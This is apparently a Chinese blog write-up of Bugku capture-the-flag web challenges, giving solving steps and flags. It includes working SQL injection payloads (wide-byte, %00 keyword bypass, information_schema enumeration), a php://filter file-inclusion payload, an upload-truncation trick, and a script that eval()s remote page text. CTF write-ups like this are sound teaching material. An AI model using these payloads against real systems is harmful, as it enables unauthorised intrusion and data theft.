Bugku-Web

2018-09-15  本文已影响0人  皮一下怎么了

Web2

最直接的办法:F12打开控制台,ctrl+f搜索flag关键字得到flag:KEY{Web-2-bugKssNNikls9100}
第二种是禁用当前页面的JS,然后查看源码看到flag
第三种直接在url前面加上view-source:,即直接访问view-source:http://120.24.86.145:8002/web2/也可以查看源码

文件上传测试

设置好浏览器代理用burpsuite劫持数据包

选择好文件上传

尝试%00截断

拿到flag:Flag:42e97d465f962c53df9549377b513c7e

计算题

查看源码可知对输入长度做了限制。我们进行修改

成功拿到flag:flag{CTF-bugku-0032}

web基础$_GET

打开看到如下页面,已经告诉我们源码

因此直接构造payload
120.24.86.145:8002/get/?what=flag

拿到flag:flag{bugku_get_su8kej2en}

web基础$_POST

打开看到源码

这次是需要POST提交,因此用hackbar模拟

拿到flag:flag{bugku_get_ssseint67se}

矛盾

num=_GET['num'];
if(!is_numeric(num)) { echonum;
if(num==1) echo 'flag{**********}'; } 提交合法的num就能拿到flag,URL访问:http://120.24.86.145:8002/get/index1.php?num=1'
flag:flag{bugku-789-ps-ssdf}

Web3

打开后发现一直弹窗,我们禁止弹窗然后查看源码

用js写的代码一直弹窗,底部有一串unicode字符应该是flag

解码后得到flag:KEY{J2sa42ahJK-HS11III}

sql注入

右键查看源码

发现是gb2312编码,题目是sql注入,猜测是宽字节注入
爆数据库payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()--+

最终payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string from sql5.key--+

flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

域名解析

提示很清楚,将flag.bugku.com解析到120.24.86.145即可拿到flag
因此我们修改hosts文件将flag.bugku.com解析到120.24.86.145,添加如下规则

再次访问flag.bugku.com

拿到flag:KEY{DSAHDSJ82HDS2211}

SQL注入1

使用%00绕过关键字
爆出数据库为sql3:
http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%20fr%00om%20sql3.key%23
最终payload:http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key%23
flag:KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

你必须让他停下

BurpSuite抓包直接Repeater几次

flag:flag{dummy_game_1s_s0_popular}

本地包含

http://120.24.86.145:8003/?hello=file(%22flag.php%22)

flag:flag{bug-ctf-gg-99}

变量1

利用超全局数组GLOBALS可以打印出所有变量
http://120.24.86.145:8004/index1.php?args=GLOBALS

flag:flag{92853051ab894a64f7865cf3c2128b34}

Web5

查看源代码

隐藏了一段字符,查资料得知是JS代码经过jsfuck编码的格式,我们复制到控制台执行

可以看到ctf{whatfk},提示字母大写,flag:CTF{WHATFK}

Web4

根据提示查看源代码

可以看到这是一段JS的代码,定义了两个变量,并且经过了url编码,我们用burpsuite解码得到一段代码

可以看到密码为67d709b2baa648cf6e87a7114f1,提交一下发现不对,应该是少了一部分,仔细再看看源码发现要在变量p2前面加上%35%34%61%61%32再进行解码

这才是正确的密码

提交得到flag:KEY{J22JK-HS11}

flag在index里

看到file参数想到文件包含漏洞
payload:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回的就是index.php的源代码的base64编码,解码得到flag

flag:flag{edulcni_elif_lacol_si_siht}

备份是个好习惯

看到备份,首先想到源码泄露,访问一下http://120.24.86.145:8002/web16/index.php.bak,发现可以下载到源码

MD5比较绕过,只不过加了一点过滤。访问:http://120.24.86.145:8002/web16/?kkeyey1[]=a&kkeyey2[]=b
flag:Bugku{OH_YOU_FIND_MY_MOMY}

成绩单

打开看到一个表单,首先想到SQL注入
爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
爆flag:-1' union select 1,skctf_flag,3,4 from fl4g#
flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

直接用脚本计算出来然后POST提交

import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

flag:Bugku{YOU_DID_IT_BY_SECOND}

上一篇下一篇

猜你喜欢

热点阅读